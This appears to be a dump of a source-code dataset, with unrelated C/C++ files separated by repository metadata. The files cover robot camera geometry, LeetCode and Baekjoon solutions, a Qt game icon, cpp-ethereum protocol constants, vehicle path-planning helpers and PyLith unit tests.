Vector2<> offset(ballOffset.x - cameraMatrix.translation.x,
ballOffset.y - cameraMatrix.translation.y);
float distance = offset.abs(),
height = cameraMatrix.translation.z - ballRadius,
cameraDistance = sqrtf(sqr(distance) + sqr(height));
circle.center = Vector2<>(atan2f(offset.y,offset.x),-atan2f(height,distance));
if(cameraDistance >= ballRadius)
{
float alpha = pi_2 - circle.center.y - acosf(ballRadius / cameraDistance),
yBottom = -atan2f(height + cosf(alpha) * ballRadius,
distance - sinf(alpha) * ballRadius),
beta = pi_2 - circle.center.y + acosf(ballRadius / cameraDistance),
yTop = -atan2f(height + cosf(beta) * ballRadius,
distance - sinf(beta) * ballRadius);
Vector2<int> top,
bottom;
//calculatePointByAngles(Vector2<>(circle.center.x,yTop),cameraMatrix, cameraInfo, top);
calculatePointByAngles(Vector2<>(circle.center.x,yTop),cameraMatrix, top);
//calculatePointByAngles(Vector2<>(circle.center.x,yBottom),cameraMatrix, cameraInfo, bottom);
calculatePointByAngles(Vector2<>(circle.center.x,yBottom),cameraMatrix, bottom);
circle.center.x = (top.x + bottom.x) / 2.0f;
circle.center.y = (top.y + bottom.y) / 2.0f;
circle.radius = (top - bottom).abs() / 2.0f;
return true;
}
else
return false;
}
//float Geometry::angleSizeToPixelSize(float angleSize, const CameraInfo& cameraInfo)
float Geometry::angleSizeToPixelSize(float angleSize)
{
return Camera::focalLength * tanf(angleSize);
}
//float Geometry::pixelSizeToAngleSize(float pixelSize, const CameraInfo& cameraInfo)
float Geometry::pixelSizeToAngleSize(float pixelSize)
{
return atanf(pixelSize * Camera::focalLengthInv);
}
float Geometry::getDistanceBySize
(
//const CameraInfo& cameraInfo,
float sizeInReality,
float sizeInPixels
)
{
float xFactor = Camera::focalLength;
return sizeInReality * xFactor / (sizeInPixels + 0.000001f);
}
float Geometry::getDistanceBySize
(
//const CameraInfo& cameraInfo,
float sizeInReality,
float sizeInPixels,
float centerX,
float centerY
)
{
float mx = centerX;
float my = centerY;
float cx = Camera::WIDTH/2;
float cy = Camera::HEIGHT/2;
float focalLenPow2 = Camera::focalLenPow2;
float sqrImgRadius = (mx-cx)*(mx-cx) + (my-cy)*(my-cy);
float imgDistance = sqrtf(focalLenPow2 + sqrImgRadius);
return imgDistance*sizeInReality/(sizeInPixels + 0.000001f);
}
float Geometry::getDistanceByAngleSize
(
float sizeInReality,
float sizeAsAngle
)
{
return (sizeInReality / 2.0f) / tanf(sizeAsAngle / 2.0f + 0.000001f);
}
float Geometry::getBallDistanceByAngleSize
(
float sizeInReality,
float sizeAsAngle
)
{
return (sizeInReality / 2.0f) / sinf(sizeAsAngle / 2.0f + 0.000001f);
}
float Geometry::getSizeByDistance
(
//const CameraInfo& cameraInfo,
float sizeInReality,
float distance
)
{
float xFactor = Camera::focalLength;
return sizeInReality / distance * xFactor;
}
float Geometry::getSizeByDistance
(
float sizeInReality,
float distance,
float imageWidthPixels,
float imageWidthAngle
)
{
float xFactor = imageWidthPixels / tanf(imageWidthAngle / 2.0f) / 2.0f;
return sizeInReality / distance * xFactor;
}
//Geometry::Line Geometry::calculateHorizon(const CameraMatrix& cameraMatrix,const CameraInfo& cameraInfo)
Geometry::Line Geometry::calculateHorizon(const CameraMatrix& cameraMatrix)
{
Line horizon;
float r31 = cameraMatrix.rotation.c[0].z;
float r32 = cameraMatrix.rotation.c[1].z;
float r33 = cameraMatrix.rotation.c[2].z;
if(r33 == 0)
r33 = 0.00001f;
float x1 = 0,
x2 = float(Camera::WIDTH - 1),
v1 = Camera::focalLength,
v2 = Camera::WIDTH/2,
v3 = Camera::HEIGHT/2,
y1 = (v3 * r33 + r31 * v1 + r32 * v2) / r33,
y2 = (v3 * r33 + r31 * v1 - r32 * v2) / r33;
// Mirror ends of horizon if Camera rotated to the left
if((cameraMatrix.rotation * Vector3<>(0,0,1)).z < 0)
{
float t = x1;
x1 = x2;
x2 = t;
t = y1;
y1 = y2;
y2 = t;
}
horizon.base.x = (x1 + x2) / 2.0f;
horizon.base.y = (y1 + y2) / 2.0f;
horizon.direction.x = x2 - x1;
horizon.direction.y = y2 - y1;
horizon.normalizeDirection();
return horizon;
}
int Geometry::calculateLineSize
(
const Vector2<int>& pointInImage,
const CameraMatrix& cameraMatrix,
//const CameraInfo& cameraInfo,
float fieldLinesWidth
)
{
Vector2<int> pointOnField; //position on field, relative to robot
//if(Geometry::calculatePointOnField(pointInImage.x, pointInImage.y, cameraMatrix, cameraInfo, pointOnField))
if(Geometry::calculatePointOnField(pointInImage.x, pointInImage.y, cameraMatrix, pointOnField))
{
int distance = (int) sqrtf(sqr(cameraMatrix.translation.z) + sqr(pointOnField.abs()));
//return (int)Geometry::getSizeByDistance(cameraInfo, fieldLinesWidth, (float) distance);
return (int)Geometry::getSizeByDistance(fieldLinesWidth, (float) distance);
}
else
{
return 0;
}
}
bool Geometry::calculatePointInImage(const Vector3<>& pointInWorld,
const CameraMatrix& cameraMatrix,
//const CameraInfo& cameraInfo,
Vector2<int>& pointInImage)
{
Vector2<> offset(pointInWorld.x - cameraMatrix.translation.x,
pointInWorld.y - cameraMatrix.translation.y);
return Geometry::calculatePointByAngles(
Vector2<>(atan2f(offset.y, offset.x), atan2f(pointInWorld.z - cameraMatrix.translation.z, offset.abs())),
cameraMatrix,
//cameraInfo,
pointInImage
);
}
bool Geometry::calculatePointOnHorizontalPlane(const Vector2<int>& pointInImage,
float z,
const CameraMatrix& cameraMatrix,
//const CameraInfo& cameraInfo,
Vector2<>& pointOnPlane)
{
float xFactor = Camera::focalLengthInv,
yFactor = Camera::focalLengthInv;
Vector3<>
vectorToCenter(1, float(Camera::WIDTH/2 - pointInImage.x) * xFactor,
float(Camera::HEIGHT/2 - pointInImage.y) * yFactor);
Vector3<>
vectorToCenterWorld = cameraMatrix.rotation * vectorToCenter;
float a1 = cameraMatrix.translation.x,
a2 = cameraMatrix.translation.y,
a3 = cameraMatrix.translation.z - z,
b1 = vectorToCenterWorld.x,
b2 = vectorToCenterWorld.y,
b3 = vectorToCenterWorld.z;
if(fabs(b3) > 0.00001)
{
pointOnPlane.x = (a1 * b3 - a3 * b1) / b3;
pointOnPlane.y = (a2 * b3 - a3 * b2) / b3;
return true;
}
else
return false;
}
| [
"hishamlazuardi@gmail.com"
] | hishamlazuardi@gmail.com |
3b3d06151c0ced7e7ca13b85d52cf6dfd68a9139 | cda6d6cb90f7b0b0f07cfb52b82e332622e07384 | /LeetCode/031.h | 6a20a9904cc4f9732502083bba5cb889f5fe52c6 | [] | no_license | zzqboy/leetcode | 51faaa0af12f94a94ffe81a68c0a6c80196b81d2 | 1f94cd7700e76e4dad42baa164eed47fc382c854 | refs/heads/master | 2021-04-12T08:36:28.498422 | 2019-05-26T14:18:39 | 2019-05-26T14:18:39 | 126,172,015 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,312 | h | #include <vector>
#include <iostream>
using namespace std;
// 参考solution 2
class Solution {
public:
void nextPermutation(vector<int>& nums) {
if (nums.size() == 0 || nums.size() == 1)
{
return;
}
int idx = nums.size() - 1;
int idx2 = idx - 1;
bool is_rever = true;
while (idx >= 1)
{
if (nums[idx2] < nums[idx])
{
// 找到刚好大于idx2的值
int idx3 = idx, temp = nums[idx], temp2 = idx;
while (idx3 < nums.size())
{
if (nums[idx3] > nums[idx2] && nums[idx3] <= temp)
{
temp2 = idx3;
}
idx3++;
}
this->swap(nums, temp2, idx2);
this->rever(nums, idx2 + 1, nums.size() - 1);
is_rever = false;
break;
}
else
{
idx--, idx2--;
}
}
if (is_rever)
{
this->rever(nums, 0, nums.size() - 1);
}
}
bool swap(vector<int>& nums, int i1, int i2)
{
bool is_bigger = nums[i2] > nums[i1] ? true : false;
int temp = nums[i2];
nums[i2] = nums[i1];
nums[i1] = temp;
return is_bigger;
}
void rever(vector<int>& nums, int first, int second)
{
while (first < second)
{
this->swap(nums, first, second);
first++, second--;
}
}
void test()
{
vector<int> d = { 1, 2, 3 };
this->nextPermutation(d);
for (int i = 0; i < d.size(); i++)
{
cout << d[i] << endl;
}
}
}; | [
"ziquanzheng@foxmail.com"
] | ziquanzheng@foxmail.com |
c0d72b89f1e80be970ae565f7018195e053b76c3 | 2523a030580fe379912d67c2e457213980e7c807 | /build_red_tower_icon.cpp | b23338e39008f94514348a33890707ab648c8e5c | [] | no_license | Batname/game_tutorial2 | 9b67ae696c28d1958da67c4bbb40688903c403c5 | 48e3a29b19b0fa7357d2f93101249cacbf8621b2 | refs/heads/master | 2021-01-12T11:29:53.880207 | 2016-11-08T18:58:05 | 2016-11-08T18:58:05 | 72,939,446 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 463 | cpp | #include "build_red_tower_icon.h"
#include "game.h"
#include "red_tower.h"
#include <QString>
extern Game * game;
BuildRedTowerIcon::BuildRedTowerIcon(QGraphicsItem *parent) : QGraphicsPixmapItem(parent)
{
setPixmap(QPixmap(":/images/red_tower.png"));
}
void BuildRedTowerIcon::mousePressEvent(QGraphicsSceneMouseEvent *event)
{
if (!game->build) {
game->build = new RedTower;
game->setCursor(QString(":images/red_tower.png"));
}
}
| [
"dadubinin@gmail.com"
] | dadubinin@gmail.com |
63b42e7c6ebc5a573c95e9dedb4cb5b9b6a3706d | 29a7775ddef9923ee6d1ad6afeb389fae8601348 | /src/contract/libethereum/CommonNet.h | bd17a0b0ee1e3b8f43e30dbe6df14abec7d6e9d9 | [
"MIT"
] | permissive | arowwne/TesraSupernet | e1721016947d33cd84ecfe2b63b34142e54abdd8 | 79546fdb5026b008abcaccc00d6b5d9b3bd3f9ca | refs/heads/master | 2020-05-26T06:48:00.625590 | 2019-05-21T10:50:18 | 2019-05-21T10:50:18 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,402 | h | /*
This file is part of cpp-ethereum.
cpp-ethereum is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
cpp-ethereum is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with cpp-ethereum. If not, see <http:
*/
/** @file CommonNet.h
* @author Gav Wood <i@gavwood.com>
* @date 2014
*
* Miscellanea required for the PeerServer/Session classes.
*/
#pragma once
#include <string>
#include <chrono>
#include <libdevcore/Common.h>
#include <libdevcore/Log.h>
namespace dev
{
class OverlayDB;
namespace eth
{
#if ETH_DEBUG
static const unsigned c_maxHeaders = 2048;
static const unsigned c_maxHeadersAsk = 2048;
static const unsigned c_maxBlocks = 128;
static const unsigned c_maxBlocksAsk = 128;
static const unsigned c_maxPayload = 262144;
#else
static const unsigned c_maxHeaders = 2048;
static const unsigned c_maxHeadersAsk = 2048;
static const unsigned c_maxBlocks = 128;
static const unsigned c_maxBlocksAsk = 128;
static const unsigned c_maxPayload = 262144;
#endif
static const unsigned c_maxNodes = c_maxBlocks;
static const unsigned c_maxReceipts = c_maxBlocks;
class BlockChain;
class TransactionQueue;
class EthereumHost;
class EthereumPeer;
enum SubprotocolPacketType: byte
{
StatusPacket = 0x00,
NewBlockHashesPacket = 0x01,
TransactionsPacket = 0x02,
GetBlockHeadersPacket = 0x03,
BlockHeadersPacket = 0x04,
GetBlockBodiesPacket = 0x05,
BlockBodiesPacket = 0x06,
NewBlockPacket = 0x07,
GetNodeDataPacket = 0x0d,
NodeDataPacket = 0x0e,
GetReceiptsPacket = 0x0f,
ReceiptsPacket = 0x10,
PacketCount
};
enum class Asking
{
State,
BlockHeaders,
BlockBodies,
NodeData,
Receipts,
Nothing
};
enum class SyncState
{
NotSynced,
Idle,
Waiting,
Blocks,
State,
NewBlocks,
Size
};
struct SyncStatus
{
SyncState state = SyncState::Idle;
unsigned protocolVersion = 0;
unsigned startBlockNumber;
unsigned currentBlockNumber;
unsigned highestBlockNumber;
bool majorSyncing = false;
};
}
}
| [
"qiujie@qiujiedeMac-mini.local"
] | qiujie@qiujiedeMac-mini.local |
296c189f55fb7dbbadb4f86a434e32162fd73a80 | 9cdbbbcd4ff943ff63d6592ca37906f8bd11e2ed | /Stacks and Queues/stack_adapter.h | bcb6f48221f730013f8379a007759f66afd15b88 | [] | no_license | lamarrr/Algorithms | ff695df2702999c1996a0301a30fa6d556dc4688 | 52da75468b437289affa449d80d5cd5473e133f1 | refs/heads/master | 2020-05-19T23:54:58.037673 | 2019-11-02T22:49:28 | 2019-11-02T22:49:28 | 185,277,684 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 725 | h | #include <cinttypes>
#include <cassert>
#include <vector>
template<typename ValueType,
typename ContainerType = std::vector<ValueType>>
class Stack {
using value_type = ValueType;
using container_type = ContainerType;
container_type container_;
public:
Stack(){}
Stack(const container_type& v) :
container_{v}{}
Stack(const Stack &) = default;
Stack(Stack &&) = default;
Stack& operator=(const Stack&) = default;
Stack& operator=(Stack&&) = default;
value_type Pop(){
assert(!container_.empty());
value_type tmp = std::move(container_.back());
container_.erase(container_.end()-1);
return std::move(tmp);
}
void Push(const value_type & v){
container_.push_back(v);
}
value_type size(){
return container_.size();
}
};
| [
"rlamarrr@gmail.com"
] | rlamarrr@gmail.com |
a8a4b7a4890c6f70fd3275515752829f6d106484 | 2d2857f72ea80d92f6d26e56c6eabe2c0a280540 | /scpcPractice/boj1005.cpp | 44f3a48c75d74d3c87544a47753e208400c5868d | [] | no_license | kimkyuhwan/SCPC-Practice | cd63cce155dd62f1f1a4d353874f48528a94a374 | f9ef04ccbe305636a38c42da0256a58f0ce2f593 | refs/heads/master | 2020-05-29T23:22:11.462542 | 2019-08-13T15:54:53 | 2019-08-13T15:54:53 | 189,432,083 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 962 | cpp | #include <bits/stdc++.h>
using namespace std;
int T, N, M, A, B, W, cnt;
int cost[1010];
int dist[1010];
int indegree[1010];
vector<vector<int> > adj;
int bfs(int dest) {
queue<int> q;
for (int i = 1; i <= N; i++) {
if (indegree[i] == 0) {
q.push(i);
dist[i] = cost[i];
}
}
while (!q.empty()) {
int here = q.front(); q.pop();
for (int there : adj[here]) {
indegree[there]--;
if (indegree[there] == 0) {
q.push(there);
}
dist[there] = max(dist[there], dist[here] + cost[there]);
}
}
return dist[dest];
}
int main() {
scanf("%d", &T);
for (int i = 1; i <= T; i++) {
memset(indegree, 0, sizeof(indegree));
memset(dist, 0, sizeof(dist));
scanf("%d %d", &N, &M);
cnt = 0;
for (int j = 1; j <= N; j++) scanf("%d", &cost[j]);
adj.assign(N + 1, vector<int>());
for (int j = 0; j < M; j++) {
scanf("%d %d", &A, &B);
adj[A].push_back(B);
indegree[B]++;
}
scanf("%d", &W);
printf("%d\n", bfs(W));
}
} | [
"gmarble94@gmail.com"
] | gmarble94@gmail.com |
b4383397ef7ac612c2654f5321689d421b686b18 | 08c43e6dbcf1ce853fe32b562c77122d533c6dbf | /src/islang/parser/scanner.hpp | 100b1e3592adfe2143e578a694e169846f0712a4 | [
"MIT"
] | permissive | Wassasin/islang | d4af712951133ab5654ddeb6b9929f95cc81fa9d | eda11d6e260edaa8b9fdfdb2ddff6da3f4e02b8a | refs/heads/master | 2021-01-01T17:32:28.115745 | 2015-03-06T14:57:20 | 2015-03-06T14:57:20 | 30,246,869 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 837 | hpp | #pragma once
#include <cstddef>
#if !defined(yyFlexLexerOnce)
#include <FlexLexer.h>
#endif
// Preprocessor result, not distributed
#include "parser_lr.hh"
namespace islang
{
class scanner : public yyFlexLexer
{
private:
parser_lr::semantic_type *yylval;
parser_lr::location_type *yylloc;
size_t line, column;
public:
scanner(std::istream& in)
: yyFlexLexer(&in)
, yylval(nullptr)
, line(1)
, column(1)
{}
int yylex(parser_lr::semantic_type* lval, parser_lr::location_type* lloc)
{
yylval = lval;
yylloc = lloc;
return(yylex());
}
private:
void update_loc()
{
yylloc->begin.line = line;
yylloc->begin.column = column;
int length = YYLeng();
if(length > 0)
column += length;
yylloc->end.line = line; // We do not have multiline tokens
yylloc->end.column = column;
}
int yylex();
};
}
| [
"git@woutergeraedts.nl"
] | git@woutergeraedts.nl |
4a95edc4c5a033969f84b2d59a50ad8d817ea11a | 56ae4c9182b8f6910e5d75db3957968efb9f18df | /src/helpers.h | 39b356074a9e9c06d5810d1afaf224a5affebc22 | [
"MIT"
] | permissive | mtoquinn/CarND-Path-Planning-Project | c20fa433a1959f496aa9b6f35aa798e29f5423f6 | c36eb863859a949f07e6ec033d719ee9ef12498d | refs/heads/master | 2023-03-16T23:42:36.674949 | 2021-03-01T16:02:56 | 2021-03-01T16:02:56 | 343,473,205 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,230 | h | #ifndef HELPERS_H
#define HELPERS_H
#include <math.h>
#include <string>
#include <vector>
// for convenience
using std::string;
using std::vector;
// Checks if the SocketIO event has JSON data.
// If there is data the JSON object in string format will be returned,
// else the empty string "" will be returned.
string hasData(string s) {
auto found_null = s.find("null");
auto b1 = s.find_first_of("[");
auto b2 = s.find_first_of("}");
if (found_null != string::npos) {
return "";
} else if (b1 != string::npos && b2 != string::npos) {
return s.substr(b1, b2 - b1 + 2);
}
return "";
}
//
// Helper functions related to waypoints and converting from XY to Frenet
// or vice versa
//
// For converting back and forth between radians and degrees.
constexpr double pi() { return M_PI; }
double deg2rad(double x) { return x * pi() / 180; }
double rad2deg(double x) { return x * 180 / pi(); }
// Calculate distance between two points
double distance(double x1, double y1, double x2, double y2) {
return sqrt((x2-x1)*(x2-x1)+(y2-y1)*(y2-y1));
}
// Calculate closest waypoint to current x, y position
int ClosestWaypoint(double x, double y, const vector<double> &maps_x,
const vector<double> &maps_y) {
double closestLen = 100000; //large number
int closestWaypoint = 0;
for (int i = 0; i < maps_x.size(); ++i) {
double map_x = maps_x[i];
double map_y = maps_y[i];
double dist = distance(x,y,map_x,map_y);
if (dist < closestLen) {
closestLen = dist;
closestWaypoint = i;
}
}
return closestWaypoint;
}
// Returns next waypoint of the closest waypoint
int NextWaypoint(double x, double y, double theta, const vector<double> &maps_x,
const vector<double> &maps_y) {
int closestWaypoint = ClosestWaypoint(x,y,maps_x,maps_y);
double map_x = maps_x[closestWaypoint];
double map_y = maps_y[closestWaypoint];
double heading = atan2((map_y-y),(map_x-x));
double angle = fabs(theta-heading);
angle = std::min(2*pi() - angle, angle);
if (angle > pi()/2) {
++closestWaypoint;
if (closestWaypoint == maps_x.size()) {
closestWaypoint = 0;
}
}
return closestWaypoint;
}
// Transform from Cartesian x,y coordinates to Frenet s,d coordinates
vector<double> getFrenet(double x, double y, double theta,
const vector<double> &maps_x,
const vector<double> &maps_y) {
int next_wp = NextWaypoint(x,y, theta, maps_x,maps_y);
int prev_wp;
prev_wp = next_wp-1;
if (next_wp == 0) {
prev_wp = maps_x.size()-1;
}
double n_x = maps_x[next_wp]-maps_x[prev_wp];
double n_y = maps_y[next_wp]-maps_y[prev_wp];
double x_x = x - maps_x[prev_wp];
double x_y = y - maps_y[prev_wp];
// find the projection of x onto n
double proj_norm = (x_x*n_x+x_y*n_y)/(n_x*n_x+n_y*n_y);
double proj_x = proj_norm*n_x;
double proj_y = proj_norm*n_y;
double frenet_d = distance(x_x,x_y,proj_x,proj_y);
//see if d value is positive or negative by comparing it to a center point
double center_x = 1000-maps_x[prev_wp];
double center_y = 2000-maps_y[prev_wp];
double centerToPos = distance(center_x,center_y,x_x,x_y);
double centerToRef = distance(center_x,center_y,proj_x,proj_y);
if (centerToPos <= centerToRef) {
frenet_d *= -1;
}
// calculate s value
double frenet_s = 0;
for (int i = 0; i < prev_wp; ++i) {
frenet_s += distance(maps_x[i],maps_y[i],maps_x[i+1],maps_y[i+1]);
}
frenet_s += distance(0,0,proj_x,proj_y);
return {frenet_s,frenet_d};
}
// Transform from Frenet s,d coordinates to Cartesian x,y
vector<double> getXY(double s, double d, const vector<double> &maps_s,
const vector<double> &maps_x,
const vector<double> &maps_y) {
int prev_wp = -1;
while (s > maps_s[prev_wp+1] && (prev_wp < (int)(maps_s.size()-1))) {
++prev_wp;
}
int wp2 = (prev_wp+1)%maps_x.size();
double heading = atan2((maps_y[wp2]-maps_y[prev_wp]),
(maps_x[wp2]-maps_x[prev_wp]));
// the x,y,s along the segment
double seg_s = (s-maps_s[prev_wp]);
double seg_x = maps_x[prev_wp]+seg_s*cos(heading);
double seg_y = maps_y[prev_wp]+seg_s*sin(heading);
double perp_heading = heading-pi()/2;
double x = seg_x + d*cos(perp_heading);
double y = seg_y + d*sin(perp_heading);
return {x,y};
}
int changeLane(double car_s, vector<vector<double>> sensor_fusion, int prev_size, int lane)
{
int target_lane = -1;
bool left_open = true;
bool right_open = true;
double left_dist = 1000.0;
double right_dist = 1000.0;
if (lane == 0)
{
left_open = false;
}
else if (lane == 2)
{
right_open = false;
}
for (int i = 0; i < sensor_fusion.size(); i++)
{
float d = sensor_fusion[i][6];
double vx = sensor_fusion[i][3];
double vy = sensor_fusion[i][4];
double check_speed = sqrt(vx * vx + vy * vy);
double check_car_s = sensor_fusion[i][5];
check_car_s += ((double) prev_size * 0.02 * check_speed);
double dist = check_car_s - car_s;
if (left_open && (d < (2 + 4 * (lane - 1) + 2) && d > (2 + 4 * (lane - 1) - 2)))
{
if (fabs(dist) < 30.0)
{
left_open = false;
}
else if (dist >= 30.0 && dist < left_dist)
{
left_dist = dist;
}
}
else if (right_open && (d < (2 + 4 * (lane + 1) + 2) && d > (2 + 4 * (lane + 1) - 2)))
{
if (fabs(dist) < 30.0)
{
right_open = false;
}
else if (dist >= 30.0 && dist < right_dist)
{
right_dist = dist;
}
}
if (!left_open && !right_open) //cannot change lanes
{
target_lane = lane;
break;
}
} //end for
if (target_lane == -1)
{
if (!right_open)
{
target_lane = lane - 1;
}
else if (!left_open)
{
target_lane = lane + 1;
}
else //both are open
{
//check which lane has more open distance
if (right_dist > left_dist)
{
target_lane = lane + 1;
}
else //move left by default
{
target_lane = lane - 1;
}
}
}
return target_lane;
}
#endif // HELPERS_H | [
"mtoquinn@gmail.com"
] | mtoquinn@gmail.com |
b94ea5a79fd038a9f135af863233ab6631f02642 | 3a01d6f6e9f7db7428ae5dc286d6bc267c4ca13e | /unittests/libtests/meshio/TestOutputSolnPoints.cc | 95fa3db1e3ebbccb575fa491600e7f75a7636277 | [
"MIT"
] | permissive | youngsolar/pylith | 1ee9f03c2b01560706b44b4ccae99c3fb6b9fdf4 | 62c07b91fa7581641c7b2a0f658bde288fa003de | refs/heads/master | 2020-12-26T04:04:21.884785 | 2014-10-06T21:42:42 | 2014-10-06T21:42:42 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,359 | cc | // -*- C++ -*-
//
// ----------------------------------------------------------------------
//
// Brad T. Aagaard, U.S. Geological Survey
// Charles A. Williams, GNS Science
// Matthew G. Knepley, University of Chicago
//
// This code was developed as part of the Computational Infrastructure
// for Geodynamics (http://geodynamics.org).
//
// Copyright (c) 2010-2014 University of California, Davis
//
// See COPYING for license information.
//
// ----------------------------------------------------------------------
//
#include <portinfo>
#include "TestOutputSolnPoints.hh" // Implementation of class methods
#include "pylith/meshio/OutputSolnPoints.hh"
#include "pylith/topology/Mesh.hh" // USES Mesh
#include "pylith/topology/Field.hh" // USES Field
#include "pylith/topology/Stratum.hh" // USES Stratum
#include "pylith/meshio/MeshIOAscii.hh" // USES MeshIOAscii
#include "spatialdata/geocoords/CSCart.hh" // USES CSCart
#include "spatialdata/units/Nondimensional.hh" // USES Nondimensional
#include "data/OutputSolnPointsDataTri3.hh"
#include "data/OutputSolnPointsDataQuad4.hh"
#include "data/OutputSolnPointsDataTet4.hh"
#include "data/OutputSolnPointsDataHex8.hh"
#include <string.h> // USES strcmp()
// ----------------------------------------------------------------------
CPPUNIT_TEST_SUITE_REGISTRATION( pylith::meshio::TestOutputSolnPoints );
// ----------------------------------------------------------------------
// Test constructor
void
pylith::meshio::TestOutputSolnPoints::testConstructor(void)
{ // testConstructor
PYLITH_METHOD_BEGIN;
OutputSolnPoints output;
PYLITH_METHOD_END;
} // testConstructor
// ----------------------------------------------------------------------
// Test setupInterpolator for tri3 mesh.
void
pylith::meshio::TestOutputSolnPoints::testSetupInterpolatorTri3(void)
{ // testSetupInterpolatorTri3
PYLITH_METHOD_BEGIN;
OutputSolnPoints output;
OutputSolnPointsDataTri3 data;
_testSetupInterpolator(data);
PYLITH_METHOD_END;
} // testSetupInterpolatorTri3
// ----------------------------------------------------------------------
// Test setupInterpolator for quad4 mesh.
void
pylith::meshio::TestOutputSolnPoints::testSetupInterpolatorQuad4(void)
{ // testSetupInterpolatorQuad4
PYLITH_METHOD_BEGIN;
OutputSolnPoints output;
OutputSolnPointsDataQuad4 data;
_testSetupInterpolator(data);
PYLITH_METHOD_END;
} // testSetupInterpolatorQuad4
// ----------------------------------------------------------------------
// Test setupInterpolator for tet4 mesh.
void
pylith::meshio::TestOutputSolnPoints::testSetupInterpolatorTet4(void)
{ // testSetupInterpolatorTet4
PYLITH_METHOD_BEGIN;
OutputSolnPoints output;
OutputSolnPointsDataTet4 data;
_testSetupInterpolator(data);
PYLITH_METHOD_END;
} // testSetupInterpolatorTet4
// ----------------------------------------------------------------------
// Test setupInterpolator for hex8 mesh.
void
pylith::meshio::TestOutputSolnPoints::testSetupInterpolatorHex8(void)
{ // testSetupInterpolatorHex8
PYLITH_METHOD_BEGIN;
OutputSolnPoints output;
OutputSolnPointsDataHex8 data;
_testSetupInterpolator(data);
PYLITH_METHOD_END;
} // testSetupInterpolatorHex8
// ----------------------------------------------------------------------
// Test setupInterpolator().
void
pylith::meshio::TestOutputSolnPoints::_testSetupInterpolator(const OutputSolnPointsData& data)
{ // _testSetupInterpolator
PYLITH_METHOD_BEGIN;
const int numPoints = data.numPoints;
const int spaceDim = data.spaceDim;
const int numVerticesE = numPoints;
const int numCellsE = numPoints;
const int numCornersE = 1;
topology::Mesh mesh;
spatialdata::geocoords::CSCart cs;
spatialdata::units::Nondimensional normalizer;
cs.setSpaceDim(spaceDim);
cs.initialize();
mesh.coordsys(&cs);
MeshIOAscii iohandler;
iohandler.filename(data.meshFilename);
iohandler.read(&mesh);
OutputSolnPoints output;
CPPUNIT_ASSERT(data.points);
output.setupInterpolator(&mesh, data.points, numPoints, spaceDim, normalizer);
PetscDM dmMesh = output.pointsMesh().dmMesh();CPPUNIT_ASSERT(dmMesh);
// Check vertices
topology::Stratum verticesStratum(dmMesh, topology::Stratum::DEPTH, 0);
const PetscInt vStart = verticesStratum.begin();
const PetscInt vEnd = verticesStratum.end();
CPPUNIT_ASSERT_EQUAL(numVerticesE, verticesStratum.size());
for (PetscInt v=vStart, index = 0; v < vEnd; ++v, ++index) {
const int vertexE = numCellsE + index;
CPPUNIT_ASSERT_EQUAL(vertexE, v);
} // for
// Check cells
topology::Stratum cellsStratum(dmMesh, topology::Stratum::HEIGHT, 0);
const PetscInt cStart = cellsStratum.begin();
const PetscInt cEnd = cellsStratum.end();
PetscErrorCode err = 0;
CPPUNIT_ASSERT_EQUAL(numCellsE, cellsStratum.size());
for (PetscInt c = cStart, index = 0; c < cEnd; ++c) {
const PetscInt *cone = NULL;
PetscInt coneSize = 0;
err = DMPlexGetConeSize(dmMesh, c, &coneSize);PYLITH_CHECK_ERROR(err);
err = DMPlexGetCone(dmMesh, c, &cone);PYLITH_CHECK_ERROR(err);
CPPUNIT_ASSERT_EQUAL(numCornersE, coneSize);
for (PetscInt p = 0; p < coneSize; ++p, ++index) {
const int coneE = numCellsE+index;
CPPUNIT_ASSERT_EQUAL(coneE, cone[p]);
} // for
} // for
PYLITH_METHOD_END;
} // _testSetupInterpolator
// End of file
| [
"baagaard@usgs.gov"
] | baagaard@usgs.gov |
c99cfecabadf1d36f866628814b9865ec79e5a14 | 87ec35b10c72bf737e98fc8c95d5b2de5dae8a65 | /2019_CreativeSoftwareDesign/12-1-1/swap.cpp | d06c478e211ae16e04a05c5abd691b53f688edff | [] | no_license | zzzl-523/Univ | a56d4cfd1ce31f66e75c4e03d74329d3e2978e4a | 22289547a05361db8d5a88c233dced41bef7082b | refs/heads/master | 2023-07-29T21:28:24.037134 | 2021-09-12T10:07:42 | 2021-09-12T10:07:42 | 292,194,236 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 623 | cpp | #include<iostream>
#include<string>
using namespace std;
template<typename T>
void myswap(T &a, T &b) {
T temp;
temp = a;
a = b;
b = temp;
}
int main() {
int num_int1, num_int2;
double num_dou1, num_dou2;
string str1, str2;
cin >> num_int1 >> num_int2;
myswap(num_int1, num_int2);
cout << "After calling myswap(): " << num_int1<<" " << num_int2 << endl;
cin >> num_dou1 >> num_dou2;
myswap(num_dou1, num_dou2);
cout << "After calling myswap(): " << num_dou1<<" " << num_dou2 << endl;
cin >> str1 >> str2;
myswap(str1, str2);
cout << "After calling myswap(): " << str1<<" " << str2 << endl;
return 0;
} | [
"2019060164@hanyang.ac.kr"
] | 2019060164@hanyang.ac.kr |
7a87b7e05afa2069c60d42b1e51a794bc491ba68 | b19f30140cef064cbf4b18e749c9d8ebdd8bf27f | /D3DGame_180000_034_2_Animation_Editor_v2/Components/UIModelTransform.h | 23cfa0e723a6f23028f9ece8ea7160709111b7fa | [] | no_license | evehour/SGADHLee | 675580e199991916cf3134e7c61749b0a0bfa070 | 0ebbedf5d0692b782e2e5f9a372911c65f98ddc4 | refs/heads/master | 2020-03-25T13:22:42.597811 | 2019-01-03T07:05:54 | 2019-01-03T07:05:54 | 143,822,128 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 391 | h | #pragma once
#include "../Components/Component.h"
class UIModelTransform : public Component
{
public:
UIModelTransform();
